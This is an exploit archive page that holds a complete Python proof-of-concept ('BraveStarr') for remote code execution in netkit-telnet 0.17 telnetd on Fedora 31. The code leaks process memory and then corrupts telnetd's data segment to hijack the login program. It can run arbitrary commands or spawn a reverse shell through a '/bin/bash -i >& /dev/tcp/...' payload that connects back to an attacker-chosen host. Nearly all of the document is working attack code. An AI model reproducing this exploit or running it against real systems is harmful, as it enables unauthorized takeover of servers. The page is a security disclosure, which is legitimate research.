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netkit-telnet 0.17 Remote Code Execution

netkit-telnet 0.17 Remote Code Execution
Posted Mar 5, 2020
Authored by Ronald Huizer

netkit-telnet version 0.17 telnetd on Fedora 31 BraveStarr remote code execution exploit.

tags | exploit, remote, code execution
systems | linux, fedora
MD5 | 503ae749118ebb1b92bd9fc3e9b4caba

netkit-telnet 0.17 Remote Code Execution

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#!/usr/bin/env python3
#
# BraveStarr
# ==========
#
# Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd.
#
# This is for demonstration purposes only. It has by no means been engineered
# to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot
# of other constraints are not validated.
#
# AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer
#
import argparse
import base64
import fcntl
import gzip
import socket
import struct
import sys
import termios
import time

class BraveStarr(object):
SE = 240 # 0xf0
DM = 242 # 0xf2
AO = 245 # 0xf5
SB = 250 # 0xfa
WILL = 251 # 0xfb
WONT = 252 # 0xfc
DO = 253 # 0xfd
IAC = 255 # 0xff

TELOPT_STATUS = 5
TELOPT_TTYPE = 24
TELOPT_NAWS = 31
TELOPT_TSPEED = 32
TELOPT_XDISPLOC = 35
TELOPT_ENVIRON = 39

TELQUAL_IS = 0
TELQUAL_SEND = 1
TELQUAL_INFO = 2

NETIBUF_SIZE = 8192
NETOBUF_SIZE = 8192

# Data segment offsets of interesting variables relative to `netibuf'.
netibuf_deltas = {
'loginprg': -34952,
'state_rcsid': -34880,
'subpointer': -34816,
'ptyslavefd': -34488,
'environ': -33408,
'state': -33268,
'LastArgv': -26816,
'Argv': -26808,
'remote_host_name': -26752,
'pbackp': -9232,
'nbackp': 8192
}

def __init__(self, host, port=23, timeout=5, callback_host=None):
self.host = host
self.port = port
self.sd = None
self.timeout = timeout

self.leak_marker = b"MARKER|MARKER"
self.addresses = {}
self.values = {}

if callback_host is not None:
self.chost = bytes(callback_host, 'ascii')

def fatal(self, msg):
print(msg, file=sys.stderr)
sys.exit(1)

def connect(self):
self.sd = socket.create_connection((self.host, self.port))

# Try to ensure the remote side will read a full 8191 bytes for
# `netobuf_fill' to work properly.
self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191)

def address_delta(self, name1, name2):
return self.addresses[name1] - self.addresses[name2]

def address_serialize(self, name):
return struct.pack("<Q", self.addresses[name])

def ao(self):
return b"%c%c" % (self.IAC, self.AO)

def do(self, cmd):
return b"%c%c%c" % (self.IAC, self.DO, cmd)

def sb(self):
return b"%c%c" % (self.IAC, self.SB)

def se(self):
return b"%c%c" % (self.IAC, self.SE)

def will(self, cmd):
return b"%c%c%c" % (self.IAC, self.WILL, cmd)

def wont(self, cmd):
return b"%c%c%c" % (self.IAC, self.WONT, cmd)

def tx_flush(self):
while self.tx_len() != 0:
time.sleep(0.2)

def tx_len(self):
data = fcntl.ioctl(self.sd, termios.TIOCOUTQ, " ")
return struct.unpack('i', data)[0]

def netobuf_fill(self, delta):
# This populates the prefix of `netobuf' with IAC WONT SB triplets.
# This is not relevant now, but during the next time data is sent and
# `netobuf' will be reprocessed in `netclear' will calls `nextitem'.
# The `nextitem' function will overindex past `nfrontp' and use these
# triplets in the processing logic.
s = self.do(self.SB) * delta

# IAC AO will cause netkit-telnetd to add IAC DM to `netobuf' and set
# `neturg' to the DM byte in `netobuf'.
s += self.ao()

# In this request, every byte in `netibuf' will store a byte in
# `netobuf'. Here we ensure that all `netobuf' space is filled except
# for the last byte.
s += self.ao() * (3 - (self.NETOBUF_SIZE - len(s) - 1) % 3)

# We fill `netobuf' with the IAC DO IAC pattern. The last IAC DO IAC
# triplet will write IAC to the last free byte of `netobuf'. After
# this `netflush' will be called, and the DO IAC bytes will be written
# to the beginning of the now empty `netobuf'.
s += self.do(self.IAC) * ((self.NETOBUF_SIZE - len(s)) // 3)

# Send it out. This should be read in a single read(..., 8191) call on
# the remote side. We should probably tune the TCP MSS for this.
self.sd.sendall(s)

# We need to ensure this is written to the remote now. This is a bit
# of a kludge, as the remote can perfectly well still merge the
# separate packets into a single read(). This is less likely as the
# time delay increases. To do this properly we'd need to statefully
# match the responses to what we send. Alack, this is a PoC.
self.tx_flush()

def reset_and_sync(self):
# After triggering the bug, we want to ensure that nbackp = nfrontp =
# netobuf We can do so by getting netflush() called, and an easy way to
# accomplish this is using the TELOPT_STATUS suboption, which will end
# with a netflush.
self.telopt_status()

# We resynchronize on the output we receive by loosely scanning if the
# TELOPT_STATUS option is there. This is not a reliable way to do
# things. Alack, this is a PoC.
s = b""
status = b"%s%c" % (self.sb(), self.TELOPT_STATUS)
while status not in s and not s.endswith(self.se()):
s += self.sd.recv(self.NETOBUF_SIZE)

def telopt_status(self, mode=None):
if mode is None: mode = self.TELQUAL_SEND
s = b"%s%c%c%s" % (self.sb(), self.TELOPT_STATUS, mode, self.se())
self.sd.sendall(self.do(self.TELOPT_STATUS))
self.sd.sendall(s)

def trigger(self, delta, prefix=b"", suffix=b""):
assert b"\xff" not in prefix
assert b"\xff" not in suffix

s = prefix

# Add a literal b"\xff\xf0" to `netibuf'. This will terminate the
# `nextitem' scanning for IAC SB sequences.
s += self.se()
s += self.do(self.IAC) * delta

# IAC AO will force a call to `netclear'.
s += self.ao()
s += suffix

self.sd.sendall(s)

def infoleak(self):
# We use a delta that creates a SB/SE item
delta = 512
self.netobuf_fill(delta)
self.trigger(delta, self.leak_marker)

s = b""
self.sd.settimeout(self.timeout)
while self.leak_marker not in s:
try:
ret = self.sd.recv(8192)
except socket.timeout:
self.fatal('infoleak unsuccessful.')

if ret == b"":
self.fatal('infoleak unsuccessful.')
s += ret

return s

def infoleak_analyze(self, s):
m = s.rindex(self.leak_marker)
s = s[:m-20] # Cut 20 bytes of padding off too.

# Layout will depend on build. This works on Fedora 31.
self.values['net'] = struct.unpack("<I", s[-4:])[0]
self.values['neturg'] = struct.unpack("<Q", s[-12:-4])[0]
self.values['pfrontp'] = struct.unpack("<Q", s[-20:-12])[0]
self.values['netip'] = struct.unpack("<Q", s[-28:-20])[0]

# Resolve Fedora 31 specific addresses.
self.addresses['netibuf'] = (self.values['netip'] & ~4095) + 0x980
adjustment = len(max(self.netibuf_deltas, key=len))
for k, v in self.netibuf_deltas.items():
self.addresses[k] = self.addresses['netibuf'] + v

def _scratch_build(self, cmd, argv, envp):
# We use `state_rcsid' as the scratch memory area. As this area is
# fairly small, the bytes after it on the data segment will likely
# also be used. Nothing harmful is contained here for a while, so
# this is okay.
scratchpad = self.addresses['state_rcsid']
exec_stub = b"/bin/bash"
rcsid = b""
data_offset = (len(argv) + len(envp) + 2) * 8

# First we populate all argv pointers into the scratchpad.
argv_address = scratchpad
for arg in argv:
rcsid += struct.pack("<Q", scratchpad + data_offset)
data_offset += len(arg) + 1
rcsid += struct.pack("<Q", 0)

# Next we populate all envp pointers into the scratchpad.
envp_address = scratchpad + len(rcsid)
for env in envp:
rcsid += struct.pack("<Q", scratchpad + data_offset)
data_offset += len(env) + 1
rcsid += struct.pack("<Q", 0)

# Now handle the argv strings.
for arg in argv:
rcsid += arg + b'\0'

# And the environment strings.
for env in envp:
rcsid += env + b'\0'

# Finally the execution stub command is stored here.
stub_address = scratchpad + len(rcsid)
rcsid += exec_stub + b"\0"

return (rcsid, argv_address, envp_address, stub_address)

def _fill_area(self, name1, name2, d):
return b"\0" * (self.address_delta(name1, name2) - d)

def exploit(self, cmd):
env_user = b"USER=" + cmd
rcsid, argv, envp, stub = self._scratch_build(cmd, [b"bravestarr"], [env_user])

# The initial exploitation vector: this overwrite the area after
# `netobuf' with updated pointers values to overwrite `loginprg'
v = struct.pack("<Q", self.addresses['netibuf']) # netip
v += struct.pack("<Q", self.addresses['loginprg']) # pfrontp
v += struct.pack("<Q", 0) # neturg
v += struct.pack("<I", self.values['net']) # net
v = v.ljust(48, b'\0') # padding

self.netobuf_fill(len(v))
self.trigger(len(v), v + struct.pack('<Q', stub), b"A" * 8)
self.reset_and_sync()

s = b""
s += self._fill_area('state_rcsid', 'loginprg', 8)
s += rcsid
s += self._fill_area('ptyslavefd', 'state_rcsid', len(rcsid))
s += struct.pack("<I", 5)
s += self._fill_area('environ', 'ptyslavefd', 4)
s += struct.pack("<Q", envp)
s += self._fill_area('LastArgv', 'environ', 8)
s += struct.pack("<Q", argv) * 2
s += self._fill_area('remote_host_name', 'LastArgv', 16)
s += b"-c\0"

self.sd.sendall(s)
self.tx_flush()

# We need to finish `getterminaltype' in telnetd and ensure `startslave' is
# called.
self.sd.sendall(self.wont(self.TELOPT_TTYPE))
self.sd.sendall(self.wont(self.TELOPT_TSPEED))
self.sd.sendall(self.wont(self.TELOPT_XDISPLOC))
self.sd.sendall(self.wont(self.TELOPT_ENVIRON))

banner = """
H4sICBThWF4CA2JsYQC1W0ly4zAMvPsLuegJ4i5VnjJv0P+vU44TRwTBbsBy5jBVikRiaywE6GX5
s3+3+38f/9bj41/ePstnLMfz3f3PbP1kqW3xN32xx/kxxe55246Rbum/+dkCcKnx5mPi9BjSfTPJ
pPwAva8VCmBg3qzQgdYaD0FD/US+J/rvITC+PP+lnkQCQOyoL4oMDhFUpM5F0Fee7UCUHlYEoAf/
4Puw7t2zasMOcD2BAvFbomqkh3h2rxCvi+Ap5hnG53s8vB1sKj0JCzriRIrQ85jisSw+PY6hyrw8
SDfC+g3toCYyqKenmA4VBrY4WC681Uif/OtGAnTIxwTBkxD8WEF3nEVfsDCP+5yedwvjzKx71nnt
0BGJvDlTvnsDNSUOIgv+arD/c0GwkPqKaZIaUVxKDlM+Q8Pmsb8OSsF6FFYM64plS0XZAIYESSJm
icYGkRMVoC2Mh8T3UOKUriTGUBhg2siCJgyZhZIz9ldqgnE53p6QHwlQhpuoxuiGOK1kup6I9A6Y
ZlHvsA1iVYWwHSlUiaXQDSbfpOjAwN/MRTamLwLywQSBuEnZIEPMwnU9nAY/FnvSrOtrPolJDjyl
zRMJNBG75yCeN/x9ViNt5wTBHakABFmkrSukxqL+jFvdI7MTX5l7n0s3UrjeWwp1x4DwOvFOXAuM
6IyGuG4hqy0ByqDCp6hsIlRQNpcB6qr4ave8C4MFuWDDJijOeCVKsbKxYELrmDgmoUuY/hHh6WCe
2FdJFUPzrSXgYyxKp2Hyy4yW8gsxgFRGqhr0Nc6A9lzmwIxUeuXLmc8g4SW+Vpq/XCVMocGJHixk
kbha4l3fRXAcG9WzkS+I7DQDn+XZ8MmEBojsdJC8XaovVH15zkqWJLEYeobZG9sj7nIZgiVEfsB+
l7Kr7JRlZTtcdUTIyVdMezN5oamjHZPessEpI5yCONsYqJ0lP2hK/csrOJQyi1GRvqPPF1+OqCbB
/5DL2fKhoUUsGH2kYZRLUGWsS3mSk6nPoDYeNZLhFEpTIiwJDaYaCnGYw3/i5c3Y6obkZx1z1Kim
3e4Yvc10wyTAPcn63hf1z2c6A63tGJOu2B7sCvbhUWcoQwIp3NLB2/CDdYX1Q8MOOsHQM2HfgIgi
1H4NP9H086s3hz7AGv362oRkRIONaA3eoW7h0kSzzFSFNkbxBzLS9pro8AMJQambmJQNuyKkDXIu
cEJOyyapKc8UQOUGMNOEL1U5ApEDqnp4Ly/QkCanBDasIXBl3ZeHRkbDvTEZvbImDCk4Zr2AhXYM
NNZwZzvj48YgkH5GGVoLmfNGqGIlu2bhxVmNjZ0DRzdfFo+DqyYyma3kfEV6WymzQbbMuJLikOej
peaYYdpu5l+UGAas3/Npxz97HUaPuLh4KsWHgCivEkn6gbbCE6QY9oIRX5jAZBgUZphTb2O+aDOs
ddnFkPMp5vRSBfoZC9tJqCnUazDZyQRutd1mmtyJfY/rlM3XldWqezpXdDlnYQcMZ0MqsNwzva96
e1nJAU/nh4s2qzPByQNHcKaw3dXuqNUx/q7kElF2shosB/Dr1nMNLoNvcpFhVBGvy364elss1JeE
mQtDebG7+r/tyljmXBlfsh/t+OIgp4ymcFDjUZL1SNCkw5s5hly5MvrRnZo0TF4zmqOeUy4obBX3
N/i0CGV+0k6SJ2SG+uFHBcPYI66H/bcUt9cdY/KKJmXS1IvBcMTQtLq8cg3sgkLUG+omTBLIRF8i
k/gVorFb728qz/2e2FyRikg5j93vkct9S8/wo7A/YCVl28Fg+RvO7J1Fw6+73sqJ7Td6L1Oz/vrw
r/a+S/cfKpbzJTo5AAA=
"""

parser = argparse.ArgumentParser(description="BraveStarr -- Remote Fedora 31 telnetd exploit")
parser.add_argument('-H', '--hostname', dest='hostname', required=True,
help='Target IP address or hostname')
parser.add_argument('-p', '--port', dest='port', type=int, default=23,
help='port number')
parser.add_argument('-t', '--timeout', dest='timeout', type=int, default=10,
help='socket timeout')

method_parser = parser.add_subparsers(dest='method', help='Exploitation method')
method_parser.required = True

method_infoleak_parser = method_parser.add_parser('leak', help='Leaks memory of the remote process')

method_cmd_parser = method_parser.add_parser('command', help='Executes a blind command on the remote')
method_cmd_parser.add_argument('command', help='Command to execute')

method_shell_parser = method_parser.add_parser('shell', help='Spawns a shell on the remote and connects back')
method_shell_parser.add_argument('-c', '--callback', dest='callback', required=True, help='Host to connect back a shell to')

args = parser.parse_args()

for line in gzip.decompress(base64.b64decode(banner)).split(b"\n"):
sys.stdout.buffer.write(line + b"\n")
sys.stdout.buffer.flush()
time.sleep(0.1)

t = BraveStarr(args.hostname, port=args.port, timeout=args.timeout,
callback_host=getattr(args, 'callback', None))

print(f"\u26e4 Connecting to {args.hostname}:{args.port}")
t.connect()

# For the `shell' method, we set up a listening socket to receive the callback
# shell on.
if args.method == 'shell':
sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sd.bind(('0.0.0.0', 12345))
sd.listen(1)

s = t.infoleak()
t.infoleak_analyze(s)

print("\n\u26e4 Leaked variables")
print(f" netip : {t.values['netip']:#016x}")
print(f" pfrontp: {t.values['pfrontp']:#016x}")
print(f" neturg : {t.values['neturg']:#016x}")
print(f" net : {t.values['net']}")

print("\n\u26e4 Resolved addresses")
adjustment = len(max(t.netibuf_deltas, key=len))
for k, v in t.netibuf_deltas.items():
print(f" {k:<{adjustment}}: {t.addresses[k]:#016x}")

if args.method == 'leak':
sys.exit(0)

t.reset_and_sync()

if args.method == 'shell':
t.exploit(b"/bin/bash -i >& /dev/tcp/%s/12345 0>&1" % t.chost)

print("\n\u26e4 Waiting for connect back shell")
if args.method == 'shell':
import telnetlib

tclient = telnetlib.Telnet()
tclient.sock = sd.accept()[0]
tclient.interact()
sd.close()
elif args.method == 'command':
print(f'\n\u26e4 Executing command "{args.command}"')
t.exploit(bytes(args.command, 'ascii'))
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